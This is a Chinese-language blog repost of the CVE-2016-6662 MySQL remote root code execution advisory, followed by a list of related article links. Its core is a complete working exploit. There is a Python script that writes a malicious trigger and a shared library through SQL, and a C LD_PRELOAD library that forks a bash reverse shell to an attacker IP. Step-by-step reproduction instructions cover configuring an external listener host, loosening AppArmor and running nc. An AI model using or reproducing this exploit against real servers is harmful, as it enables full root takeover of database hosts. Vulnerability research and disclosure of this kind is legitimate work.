cve-2016-6662 mysql远程代码执行/权限提升 漏洞
I. VULNERABILITY
MySQL <= 5.7.15 远程代码执行/权限提升 (0day)
5.6.33
5.5.52
克隆mysql的同样受影响, 包括:
MariaDB PerconaDB
II. INTRODUCTION
一个独立的研究组织发现多处严重的Mysql漏洞,此次通报的是其中比较严重的一个漏洞CVE-2016-6662,它允许攻击者远程注入恶意设置到被攻击服务器的Mysql配置文件(my.cnf)中,导致更加严重的后果。
该漏洞影响所有默认配置的Mysql版本分支(5.7、5.6、5.5),包括最新的版本,并可能被攻击者进行本地或者远程的利用。exp既可以通过网络连接或者利用类似phpmyadmin之类的web管理工具,以及SQL注入漏洞等。
SQL注入漏洞是在web应用中最常见的漏洞之一,在存在注入漏洞的情况下,攻击者可以配合CVE-2016-6662进行更加深入的入侵。如果被攻击服务器有运行受影响的mysql版本,攻击用该漏洞的EXP可以以root权限执行任意代码,从而完全控制被攻击服务器。
目前官方还没有提供针对该漏洞的补丁,即使服务器开启了SELinux安全模式,也会受到该漏洞Exp的影响。该通报后面提供一个该漏洞的Poc,演示攻击者如何实现远程代码执行。
III. DESCRIPTION
默认的Mysql安装包自带mysql_safe脚本,启动mysql服务器就可以观察到,例如,假如进行mysql全面更新。
Debian系统:
root@debian:~# lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description: Debian GNU/Linux 8.5 (jessie)
Release: 8.5
Codename: jessie
root@debian:~# dpkg -l | grep -i mysql-server
ii mysql-server 5.5.50-0+deb8u1
ii mysql-server-5.5 5.5.50-0+deb8u1
ii mysql-server-core-5.5 5.5.50-0+deb8u1
通过运行如下命令启动Mysql(用默认Debian仓库提供的软件包安装)
root@debian:~# service mysql start
或用如下方式启动:
root@debian:~# /etc/init.d/mysql start
Mysql服务的进程树看起来如下:
root 14967 0.0 0.1 4340 1588 ? S 06:41 0:00 /bin/sh /usr/bin/mysqld_safe
mysql 15314 1.2 4.7 558160 47736 ? Sl 06:41 0:00 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --log-error=/var/log/mysql/error.log --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306
可以看出,mysqld_safe封装脚本是以root权限启动的,而主要的mysqld进程是用较低权限的mysql用户启动的。
mysqld_safe封装脚本有以下功能 :
----[ /usr/bin/mysqld_safe ]----
[...]
# set_malloc_lib LIB
# - If LIB is empty, do nothing and return
# - If LIB is 'tcmalloc', look for tcmalloc shared library in /usr/lib
# then pkglibdir. tcmalloc is part of the Google perftools project.
# - If LIB is an absolute path, assume it is a malloc shared library
#
# Put LIB in mysqld_ld_preload, which will be added to LD_PRELOAD when
# running mysqld. See ld.so for details.
set_malloc_lib() {malloc_lib="$1"if [ "$malloc_lib" = tcmalloc ]; thenpkglibdir=`get_mysql_config --variable=pkglibdir`malloc_lib=# This list is kept intentionally simple. Simply set --malloc-lib# to a full path if another location is desired.for libdir in /usr/lib "$pkglibdir" "$pkglibdir/mysql"; dofor flavor in _minimal '' _and_profiler _debug; dotmp="$libdir/libtcmalloc$flavor.so"#log_notice "DEBUG: Checking for malloc lib '$tmp'"[ -r "$tmp" ] || continuemalloc_lib="$tmp"break 2donedone
[...]
----------[ eof ]---------------
它可以用来在启动服务之前加载共享库,库文件可以通过下面的参数进行设置:
–malloc-lib=LIB
这个参数也可以在mysqld的配置文件中指定(my.cnf中),在[mysqld]或者[mysqld_safe]部分。
如果攻击者能够将其恶意的库文件路径插入到配置文件中,就可以加载任意库,当mysql服务重启(手动、系统更新包更新、系统重启等)时,可以以root权限执行任意代码。
2003年公布的一个mysql 3.23.55之前版本的漏洞,允许攻击者利用一个简单的语句创建mysql配置文件:
SELECT * INFO OUTFILE '/var/lib/mysql/my.cnf'
这个漏洞被修复,利用outfile查询创建的文件默认是没办法覆盖现有文件的,这样可以保护现有的配置文件。该漏洞已经在mysql 3.23.55版本中修复,写入配置文件已经算不可能了。
然而POC证明,有可能利用Mysql的日志功能(默认方式安装的mysql)绕过当前的限制,来实现如下的目标: 1,注入恶意配置文件到现有的mysql配置文件中,前提是配置文件权限配置不当,配置文件所属用户是mysql用户,并且mysql用户有配置文件的可写权限; 2,在mysql数据目录中创建新的配置文件,通过默认方式安装mysql的话,mysql用户默认对此目录是有可写权限的,因此不需要依靠不当的权限配置。 3,通过默认方式安装的mysql,攻击者仅用select查询的file权限就可以访问日志功能(该功能通常只提供给mysql管理用户),因此攻击者可以在位置添加修改配置文件。
IV. PROOF OF CONCEPT
1,利用不正确的权限配置(配置文件所属mysql用户,mysql用户有可写权限)注入恶意配置到mysql的配置文件;
当mysqld_safe脚本执行时,mysql配置文件从所有支持的位置逐一加载和处理,确切的配置文件位置取决于mysql的版本。 例如,如上所述: http://dev.mysql.com/doc/refman/5.5/en/option-files.html mysql5.5的配置位置包括:
/etc/my.cnf 全局配置
/etc/mysql/my.cnf 全局配置
SYSCONFDIR/my.cnf 全局配置
$MYSQL_HOME/my.cnf 服务特定配置
默认额外文件,如果有~/my.cnf,用–defaults-extra-file参数来指定用户特定的配置。
目前有一种常见误解是mysql用户必须有mysql配置文件的所属权限,才能让服务正常工作。许多安装指南,甚至安全指南经常错误的建议用户给予mysql用户mysql配置文件或目录的所属权限。 例如:
https://github.com/willfong/mariadb-backup/blob/master/README.md
提到:
用如下命令设置配置文件权限:
chown mysql /etc/my.cnf
chmod 600 /etc/my.cnf
而在如下文章中提到:
http://www.devshed.com/c/a/mysql/security-issues-with-mysql/
"你应该保护全局配置文件/etc/my.cnf,如果存在的该文件,所属用户应该是mysql用户,并且mysql用户要有读写权限,但其它用户只需要只读权限"。
shell> chown mysql /etc/my.cnf"
如果mysql用户有mysql配置文件的所属权限,攻击可以追加恶意的配置项,如下所示:
root@debian:~/# ls -l /etc/my.cnf
-rw-r--r-- 1 mysql mysql 72 Jul 28 17:20 /etc/my.cnf
root@debian:~/# cat /etc/my.cnf
[mysqld]
key_buffer = 16M
max_allowed_packet = 16M
攻击者可以运行下面的SQL查询:
mysql> set global general_log_file = '/etc/my.cnf';
mysql> set global general_log = on;
mysql> select '
'>
'> ; injected config entry
'>
'> [mysqld]
'> malloc_lib=/tmp/mysql_exploit_lib.so
'>
'> [separator]
'>
'> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;
然后配置文件将增加如下的部分:
root@debian:~/# cat /etc/my.cnf
[mysqld]
key_buffer = 16M
max_allowed_packet = 16M
/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
Tcp port: 3306 Unix socket: /var/run/mysqld/mysqld.sock
Time Id Command Argument
160728 17:25:14 40 Query select '
; injected config entry
[mysqld]
malloc_lib=/tmp/mysql_exploit_lib.so
[separator]
'
160728 17:25:15 40 Query set global general_log = off
这个配置将会让mysql启动失败,因为该文件中包含一些冗余的信息,然而最重要的部分是mysql配置文件包含了以下部分:
[mysqld]
malloc_lib=/tmp/mysql_exploit_lib.so
在mysqld守护进程启动之前,mysqldsafe将正确的读取共享库的路径,并把它添加到LDPRELOAD环境变量。然后预装库的fopen()函数在mysqld守护进程启动之前处理和清理配置文,为的是mysql能够正常启动。
2,在mysql数据目录中创建新的配置文件,通过默认方式安装mysql的话,mysql用户默认对此目录是有可写权限的,因此不需要依靠不当的权限配置。
mysqldsafe脚本的分析表明,在除上文中提到的配置文件位置之外,在mysql5.5、5.6版本中mysqldsafe在默认情况下还会从mysql的数据目录(/var/lib/mysql/my.cnf)加载配置文件,如下:
----[ /usr/bin/mysqld_safe ]----
[...]
# Try where the binary installs put it
if test -d $MY_BASEDIR_VERSION/data/mysql
then
DATADIR=$MY_BASEDIR_VERSION/data
if test -z "$defaults" -a -r "$DATADIR/my.cnf"
then
defaults="--defaults-extra-file=$DATADIR/my.cnf"
fi
[...]
----------[ eof ]---------------
从mysql 5.7开始移除了这个功能,然而在很多配置中,任然是从如下位置加载配置文件:
/var/lib/mysql/.my.cnf
mysql用户是有mysql数据目录(/var/lib/mysql)写权限的:
root@debian:~# ls -ld /var/lib/mysql/
drwx------ 4 mysql mysql 4096 Jul 28 06:41 /var/lib/mysql/
因此,如果没有所属mysql用户的配置文件,攻击者可能仍然能够利用此漏洞在如下位置创建配置文件:
/var/lib/mysql/my.cnf /var/lib/mysql/.my.cnf
正如前文提到的,用file权限创建这样的文件:
SELECT '恶意配置内容' INTO OUTFILE '/var/lib/mysql/my.cnf'
是行不通的,因为通过这种方式创建的文件权限如下:
-rw-rw-rw- 1 mysql mysql 4 Jul 28 07:46 /var/lib/mysql/my.cnf
mysql在启动的时候会组织这种全部可写的配置,但是攻击者利用该漏洞可以绕过这个限制:
mysql> set global general_log_file = '/var/lib/mysql/my.cnf';
mysql> set global general_log = on;
mysql> select ''> '> ; injected config entry'> '> [mysqld]'> malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so'> '> [separator]'> '> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;
以上SQL创建一个具有必要权限(other用户没有读写权限)的可供mysql守护进程解析的配置文件:
# ls -l /var/lib/mysql/my.cnf
-rw-rw---- 1 mysql mysql 352 Jul 28 17:48 /var/lib/mysql/my.cnf
这个文件包含的内容如下:
# cat /var/lib/mysql/my.cnf
/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
Tcp port: 3306 Unix socket: /var/run/mysqld/mysqld.sock
Time Id Command Argument
160728 17:48:22 43 Query select '
; injected config entry
[mysqld]
malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so
[separator]
'
160728 17:48:23 43 Query set global general_log = off
然而,依然存在一个问题,mysql会拒绝不以“[”符号开头的文件,会报错如下:
error: Found option without preceding group in config file: /var/lib/mysql/my.cnf at line: 1 Fatal error in defaults handling. Program aborted
不过深入的测试证明可以绕过此安全限制导致的错误,继续看下文。
值得大家注意的是,cve-2016-6662漏洞的报告者利用其它漏洞可以轻易的创建任意内容的/var/lib/mysql/my.cnf配置文件,并不需要file权限,只是报告者并未披露其它的漏洞。
3,通过默认方式安装的mysql,攻击者仅用select查询的file权限就可以访问日志功能(该功能通常只提供给mysql管理用户),因此攻击者可以在位置添加修改配置文件。
如果攻击者没有访问日志功能的管理权限,只有标准用户权限与另外的file权限,那么攻击者仍然可以获得写入修改配置文件的能力,可以利用一个恶意的触发器来实现:
CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
AFTER INSERTON `active_table` FOR EACH ROW
BEGINDECLARE void varchar(550);set global general_log_file='/var/lib/mysql/my.cnf';set global general_log = on;select "
[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'
" INTO void; set global general_log = off;
END;
利用类似的语句创建触发器
SELECT '....trigger_code...' INTO DUMPFILE /var/lib/mysql/activedb/active_table.TRG'
当表刷新的时候就会执行触发器,比如通过insert来让表刷新:
INSERT INTO `active_table` VALUES('xyz');
触发器的代码会以mysql root权限执行,从而让攻击者修改general_log设置,即使攻击者没有数据库管理员权限。
V. PROOF OF CONCEPT – 0day
----------[ 0ldSQL_MySQL_RCE_exploit.py ]--------------
#!/usr/bin/python
# This is a limited version of the PoC exploit. It only allows appending to
# existing mysql config files with weak permissions. See V) 1) section of
# the advisory for details on this vector.
#
# Full PoC will be released at a later date, and will show how attackers could
# exploit the vulnerability on default installations of MySQL on systems with no
# writable my.cnf config files available.
#
# The upcoming advisory CVE-2016-6663 will also make the exploitation trivial
# for certain low-privileged attackers that do not have FILE privilege.
#
# See full advisory for details:
# http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.txt
#
# Stay tuned ;)
intro = """
0ldSQL_MySQL_RCE_exploit.py (ver. 1.0)
(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit
For testing purposes only. Do no harm.
Discovered/Coded by:
Dawid Golunski
http://legalhackers.com
"""
import argparse
import mysql.connector
import binascii
import subprocess
def info(str):print "[+] " + str + "n"
def errmsg(str):print "[!] " + str + "n"
def shutdown(code):if (code==0):info("Exiting (code: %d)n" % code)else:errmsg("Exiting (code: %d)n" % code)exit(code)
cmd = "rm -f /var/lib/mysql/pocdb/poctable.TRG ; rm -f /var/lib/mysql/mysql_hookandroot_lib.so"
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(result, error) = process.communicate()
rc = process.wait()
# where will the library to be preloaded reside? /tmp might get emptied on reboot
# /var/lib/mysql is safer option (and mysql can definitely write in there ;)
malloc_lib_path='/var/lib/mysql/mysql_hookandroot_lib.so'
# Main Meat
print intro
# Parse input args
parser = argparse.ArgumentParser(prog='0ldSQL_MySQL_RCE_exploit.py', description='PoC for MySQL Remote Root Code Execution / Privesc CVE-2016-6662')
parser.add_argument('-dbuser', dest='TARGET_USER', required=True, help='MySQL username')
parser.add_argument('-dbpass', dest='TARGET_PASS', required=True, help='MySQL password')
parser.add_argument('-dbname', dest='TARGET_DB', required=True, help='Remote MySQL database name')
parser.add_argument('-dbhost', dest='TARGET_HOST', required=True, help='Remote MySQL host')
parser.add_argument('-mycnf', dest='TARGET_MYCNF', required=True, help='Remote my.cnf owned by mysql user')args = parser.parse_args()
# Connect to database. Provide a user with CREATE TABLE, SELECT and FILE permissions
# CREATE requirement could be bypassed (malicious trigger could be attached to existing tables)
info("Connecting to target server %s and target mysql account '%s@%s' using DB '%s'" % (args.TARGET_HOST, args.TARGET_USER, args.TARGET_HOST, args.TARGET_DB))
try:dbconn = mysql.connector.connect(user=args.TARGET_USER, password=args.TARGET_PASS, database=args.TARGET_DB, host=args.TARGET_HOST)
except mysql.connector.Error as err:errmsg("Failed to connect to the target: {}".format(err))shutdown(1)
try:cursor = dbconn.cursor()cursor.execute("SHOW GRANTS")
except mysql.connector.Error as err:errmsg("Something went wrong: {}".format(err))shutdown(2)
privs = cursor.fetchall()
info("The account in use has the following grants/perms: " )
for priv in privs:print priv[0]
print ""
# Compile mysql_hookandroot_lib.so shared library that will eventually hook to the mysqld
# process execution and run our code (Remote Root Shell)
# Remember to match the architecture of the target (not your machine!) otherwise the library
# will not load properly on the target.
info("Compiling mysql_hookandroot_lib.so")
cmd = "gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl"
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(result, error) = process.communicate()
rc = process.wait()
if rc != 0:errmsg("Failed to compile mysql_hookandroot_lib.so: %s" % cmd)print error shutdown(2)
# Load mysql_hookandroot_lib.so library and encode it into HEX
info("Converting mysql_hookandroot_lib.so into HEX")
hookandrootlib_path = './mysql_hookandroot_lib.so'
with open(hookandrootlib_path, 'rb') as f:content = f.read()hookandrootlib_hex = binascii.hexlify(content)
# Trigger payload that will elevate user privileges and sucessfully execute SET GLOBAL GENERAL_LOG
# Decoded payload (paths may differ):
"""
DELIMITER //
CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
AFTER INSERTON `poctable` FOR EACH ROW
BEGINDECLARE void varchar(550);set global general_log_file='/var/lib/mysql/my.cnf';set global general_log = on;select "
# 0ldSQL_MySQL_RCE_exploit got here :)
[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'
[abyss]
" INTO void; set global general_log = off;
END; //
DELIMITER ;
"""
trigger_payload="""TYPE=TRIGGERS
triggers='CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf\nAFTER INSERT\n ON `poctable` FOR EACH ROW\nBEGIN\n\n DECLARE void varchar(550);\n set global general_log_file=\'%s\';\n set global general_log = on;\n select "\n\n# 0ldSQL_MySQL_RCE_exploit got here :)\n\n[mysqld]\nmalloc_lib=\'%s\'\n\n[abyss]\n" INTO void; \n set global general_log = off;\n\nEND'
sql_modes=0
definers='root@localhost'
client_cs_names='utf8'
connection_cl_names='utf8_general_ci'
db_cl_names='latin1_swedish_ci'
""" % (args.TARGET_MYCNF, malloc_lib_path)
# Convert trigger into HEX to pass it to unhex() SQL function
trigger_payload_hex = "".join("{:02x}".format(ord(c)) for c in trigger_payload)
# Save trigger into a trigger file
TRG_path="/var/lib/mysql/%s/poctable.TRG" % args.TARGET_DB
info("Saving trigger payload into %s" % (TRG_path))
try:cursor = dbconn.cursor()cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (trigger_payload_hex, TRG_path) )
except mysql.connector.Error as err:errmsg("Something went wrong: {}".format(err))shutdown(4)
# Save library into a trigger file
info("Dumping shared library into %s file on the target" % malloc_lib_path)
try:cursor = dbconn.cursor()cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (hookandrootlib_hex, malloc_lib_path) )
except mysql.connector.Error as err:errmsg("Something went wrong: {}".format(err))shutdown(5)
# Creating table poctable so that /var/lib/mysql/pocdb/poctable.TRG trigger gets loaded by the server
info("Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded")
try:cursor = dbconn.cursor()cursor.execute("CREATE TABLE `poctable` (line varchar(600)) ENGINE='MyISAM'" )
except mysql.connector.Error as err:errmsg("Something went wrong: {}".format(err))shutdown(6)
# Finally, execute the trigger's payload by inserting anything into `poctable`.
# The payload will write to the mysql config file at this point.
info("Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config %s" % args.TARGET_MYCNF )
try:cursor = dbconn.cursor()cursor.execute("INSERT INTO `poctable` VALUES('execute the trigger!');" )
except mysql.connector.Error as err:errmsg("Something went wrong: {}".format(err))shutdown(6)
# Check on the config that was just created
info("Showing the contents of %s config to verify that our setting (malloc_lib) got injected" % args.TARGET_MYCNF )
try:cursor = dbconn.cursor()cursor.execute("SELECT load_file('%s')" % args.TARGET_MYCNF)
except mysql.connector.Error as err:errmsg("Something went wrong: {}".format(err))shutdown(2)
finally:dbconn.close() # Close DB connection
print ""
myconfig = cursor.fetchall()
print myconfig[0][0]
info("Looks messy? Have no fear, the preloaded lib mysql_hookandroot_lib.so will clean up all the mess before mysqld daemon even reads it :)")
# Spawn a Shell listener using netcat on 6033 (inverted 3306 mysql port so easy to remember ;)
info("Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell... :)" )
listener = subprocess.Popen(args=["/bin/nc", "-lvp","6033"])
listener.communicate()
print ""
# Show config again after all the action is done
info("Shell closed. Hope you had fun. ")
# Mission complete, but just for now... Stay tuned :)
info("""Stay tuned for the CVE-2016-6663 advisory and/or a complete PoC that can craft a new valid my.cnf (i.e no writable my.cnf required) ;)""")
# Shutdown
shutdown(0)
下面是0ldSQLMySQLRCEexploit.py脚本要注入的共享库内容,当mysqld守护进程启动的时候,mysqldsafe会加载该恶意的共享库,然后会主动连接远程攻击者坚挺的6603端口,并给攻击者反弹一个root shell。
python脚本首先会创建修改mysql配置文件,加入如下内容:
[mysqld] malloclib=mysqlhookandroot_lib.so
然后当mysqld启动的时候,mysqld_safe会加载.so文件中的恶意内容,然后.so文件中的execvp()函数首先会清理掉mysql配置文件中插入的垃圾内容,只保留[mysqld]这个字段,以确保mysqld服务能正常启动,之后就会向攻击者反弹一个root shell。在使用该文件的时候,需要调整一个接收shell的IP和端口,以及配置路径等。
使用如下命令进行编译:
gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl
mysqlhookandrootlib.c内容如下:
Full advisory URL:
http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.txt
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <string.h>
#include <dlfcn.h>
#include <stdlib.h>
#include <stdarg.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define ATTACKERS_IP "127.0.0.1"
#define SHELL_PORT 6033
#define INJECTED_CONF "/var/lib/mysql/my.cnf"
char* env_list[] = { "HOME=/root", NULL };
typedef ssize_t (*execvp_func_t)(const char *__file, char *const __argv[]);
static execvp_func_t old_execvp = NULL;
// fork & send a bash shell to the attacker before starting mysqld
void reverse_shell(void) {int i; int sockfd;//socklen_t socklen;struct sockaddr_in srv_addr;srv_addr.sin_family = AF_INET; srv_addr.sin_port = htons( SHELL_PORT ); // connect-back portsrv_addr.sin_addr.s_addr = inet_addr(ATTACKERS_IP); // connect-back ip // create new TCP socket && connectsockfd = socket( AF_INET, SOCK_STREAM, IPPROTO_IP );connect(sockfd, (struct sockaddr *)&srv_addr, sizeof(srv_addr));for(i = 0; i <= 2; i++) dup2(sockfd, i);execle( "/bin/bash", "/bin/bash", "-i", NULL, env_list );exit(0);
}
/*cleanup injected data from the target config before it is read by mysqldin order to ensure clean startup of the serviceThe injection (if done via logging) will start with a line like this:/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
*/
int config_cleanup() {FILE *conf;char buffer[2000];long cut_offset=0;conf = fopen(INJECTED_CONF, "r+");if (!conf) return 1;while (!feof(conf)) {fgets(buffer, sizeof(buffer), conf);if (strstr(buffer,"/usr/sbin/mysqld, Version")) {cut_offset = (ftell(conf) - strlen(buffer));}}if (cut_offset>0) ftruncate(fileno(conf), cut_offset);fclose(conf);return 0;
}
// execvp() hook
int execvp(const char* filename, char* const argv[]) {pid_t pid;int fd;// Simple root PoC (touch /root/root_via_mysql)fd = open("/root/root_via_mysql", O_CREAT);close(fd);old_execvp = dlsym(RTLD_NEXT, "execvp");// Fork a reverse shell and execute the original execvp() functionpid = fork();if (pid == 0) reverse_shell();// clean injected payload before mysqld is startedconfig_cleanup();return old_execvp(filename, argv);
}
复现测试流程:
1,创建一个测试用的数据库,并创建测试用户的账号和权限,如下:
CREATE DATABASE pocdb;
GRANT FILE ON *.* TO 'attacker'@'%' IDENTIFIED BY 'p0cpass!';
GRANT SELECT, INSERT, CREATE ON `pocdb`.* TO 'attacker'@'%';
2,将存在的mysql配置文件的所属用户修改成mysql用户,如下:
# chown mysql:mysql /etc/mysql/my.cnf
# ls -l /etc/mysql/my.cnf
-rw-r--r-- 1 mysql mysql 3534 Sep 11 02:15 /etc/mysql/my.cnf
3,用attacker用户运行该exp,运行完毕重启mysql服务 首先,在.c文件中输入你的库路径; 接着,运行.py脚本。 如:
attacker$ ./0ldSQL_MySQL_RCE_exploit.py -dbuser attacker -dbpass 'p0cpass!' -dbhost 192.168.1.10 -dbname pocdb -mycnf /etc/mysql/my.cnf
4,然后在定义的接收反弹shell的服务器用nc监听6033端口即可收到反弹的shell。
详细漏洞测试过程,是在ubuntu 14.04中测试的。
1,安装mysql-server ,mysql-client
sudo apt-get install mysql-server mysql-client
2,安装gcc
sudo apt-get install build-essential
3,安装exp脚本中用到的mysql connector,下载地址
http://cdn.mysql.com//Downloads/Connector-Python/mysql-connector-python1.2.3-1ubuntu12.04all.deb
4,创建测试用的数据库,以及需要账号及权限
mysql> create database pocdb;
Query OK, 1 row affected (0.00 sec)
mysql> grant file on *.* to 'attacker'@'%' identified by 'hello123';
Query OK, 0 rows affected (0.00 sec)
mysql> GRANT SELECT,INSERT,CREATE ON `pocdb`.* TO 'attacker'@'%';
Query OK, 0 rows affected (0.00 sec)
注意上面这条中数据库名是用反引号括起来的。
5,编译mysqlhookandrootlib.c文件,编译之前,修改内容如下:
#define ATTACKERS_IP "182.92.100.1"
#define SHELL_PORT 1234
#define INJECTED_CONF "/etc/mysql/my.cnf"
其中IP、端口是另外一台需要监听的服务器的,执行exp之后被攻击服务器会主动向上面的IP跟端口反弹一个root权限的shell。
my.cnf是我的测试环境中配置文件的默认位置。
编译命令:
gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl
6,修改/etc/mysql/my.cnf的所属用户及组
chown mysql:mysql /etc/mysql/mysql.cnf
7,唯一鸡肋的地方是需要对ubuntu的apparmor相关的配置,不然exp执行的时候会报错误6,会提示
ERROR 29 (HY000): File '/etc/mysql/my.cnf' not found (Errcode: 13)
centos的话应该是需要关闭selinux,不过看漏洞介绍说不关闭这个的情况下也能利用,可能是描述有误吧。
修改方法:
sudo vi /etc/apparmor.d/usr.sbin.mysqld
修改成如图所示:
修改完成之后执行:
sudo /etc/init.d/apparmor reload
8,然后将编译好的.so文件以及.py文件放到同一个目录,执行如下命令:
sudo python mysqlRECexploit.py -dbuser attacker -dbpass 'hello123' -dbhost 127.0.0.1 -dbname pocdb -mycnf /etc/mysql/my.cnf
执行成功后如图所示:
然后在之前设定的那个服务器上就会接收到root权限的shell,如图:
引用
【技术分享】CVE-2016-6662-MySQL ‘malloc_lib’变量重写命令执行分析
http://bobao.360.cn/learning/detail/3026.html
【漏洞预警】Mysql代码执行漏洞,可本地提权(含exp,9/13 01点更新)
http://bobao.360.cn/learning/detail/3025.html
cve-2016-6662 mysql远程代码执行/权限提升 漏洞相关推荐
- c++获取一段代码的执行时间_微软IE浏览器JScript脚本引擎远程代码执行漏洞通告...
文档信息 编号 QiAnXinTI-SV-2019-0022 关键字 IE JScript RCE 远程命令执行CVE-2019-1367 发布日期 2019年09月24日 更新日期 2019年09月 ...
- 【安全风险通告】Spring Framework远程代码执行漏洞(CVE-2022-22965)安全风险通告第二次更新...
奇安信CERT 致力于第一时间为企业级用户提供安全风险通告和有效解决方案. 安全通告 近日,奇安信CERT监测到Spring Framework存在远程代码执行漏洞(CVE-2022-22965),在 ...
- Gitea 1.4 未授权远程代码执行漏洞复现
Gitea 1.4 未授权远程代码执行 一.漏洞描述 Gitea是从gogs衍生出的一个开源项目,是一个类似于Github.Gitlab的多用户Git仓库管理平台.其1.4.0版本中有一处逻辑错误, ...
- CVE-2021-1647:Microsoft Defender远程代码执行漏洞通告
报告编号:B6-2021-011301 报告来源:360CERT 报告作者:360CERT 更新日期:2021-01-13 0x01漏洞简述 2021年01月13日,360CERT监测发现Micros ...
- struts2远程代码执行漏洞合集
声明 好好学习,天天向上 S2-001 漏洞描述 因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中.例 ...
- kingdee漏洞存在多个安全漏洞(通用管理账号+获得数据库密码+远程代码执行)
kingdee漏洞详情,金蝶eas存在通用管理账号+获得数据库密码漏洞,金蝶apusic存在远程代码执行漏洞. 下面的信息希望乌云在确认漏洞予以模糊处理,以免对厂商和用户产生不良影响: 漏洞一.金蝶e ...
- 三星安卓5.0设备WifiCredService 远程代码执行
netwind · 2015/11/26 14:24 From:http://blog.quarkslab.com/remote-code-execution-as-system-user-on-an ...
- wordpress php执行短代码_【漏洞通告】PHP远程代码执行漏洞(CVE-2019-11043)
1.综述2019年9月14日至18举办的 Real World CTF中,国外安全研究员 Andrew Danau 在解决一道CTF题目时发现,向目标服务器 URL 发送 %0a 符号时,服务返回异常 ...
- cve-2018-7600 drupal核心远程代码执行漏洞分析
0x01 漏洞介绍 Drupal是一个开源内容管理系统(CMS),全球超过100万个网站(包括政府,电子零售,企业组织,金融机构等)使用.两周前,Drupal安全团队披露了一个非常关键的漏洞,编号CV ...
最新文章
- server vscode中的live_太方便了!这款神器能在浏览器中运行 VS Code,随时随地写代码...
- android界面数据存储,Android应用开发基础之数据存储和界面展现(二)
- Keil进入仿真,窗口不显示程序运行箭头
- 电脑音响怎么插_【图片】汽车音响改装案例本田CRV改装德国HELIX汽车音响_汽车音响改装吧...
- 全球及中国多功能小推车行业消费需求与未来产销前景分析报告2022版
- 矩阵树 Matrix-Tree 定理实现模板(高斯消元求解行列式)
- vnc viewer通过浏览器_浏览器中的Ubuntu 20.04 LTS(Focal Fossa)
- so easy(2019徐州icpc网络赛B)
- SWT多线程注意事项
- 袁桂英(帮别人名字作诗)
- OpenCV-python学习笔记(四)——smoothing and blurring平滑和模糊
- 华为手机助手 for Mac(华为手机管理软件)中文版
- 污水流量计常见故障形成原因检测方法
- OSG正二十面体均分球面
- vs2010专业版下载链接
- 一台电脑安装两个jdk的方法
- android仿ppt,android 仿ppt进入动画效果合集
- BreederDAO 宣布与 20 多个区块链游戏建立官方合作关系
- ‘mysql‘ 不是内部或外部命令,也不是可运行的程序 或批处理文件。
- ZIP文件格式-笔记
热门文章
- 互联网协议 — SCTP 流控制传输协议
- 用 Flask 来写个轻博客 (34) — 使用 Flask-RESTful 来构建 RESTful API 之三
- c程序设计语言_习题1-9_将输入流复制到输出流,并将多个空格过滤成一个空格...
- 32位系统和64位系统的选择
- 使用PHP处理POST上传时$_FILES数组为何为空
- Win7快捷方式图标不显示解决办法
- 在Eclipse中导入Tiny工程,有下面的错误,是什么原因?
- C#字符串二进制互换
- vim编辑二进制文件
- Go 语言 XML处理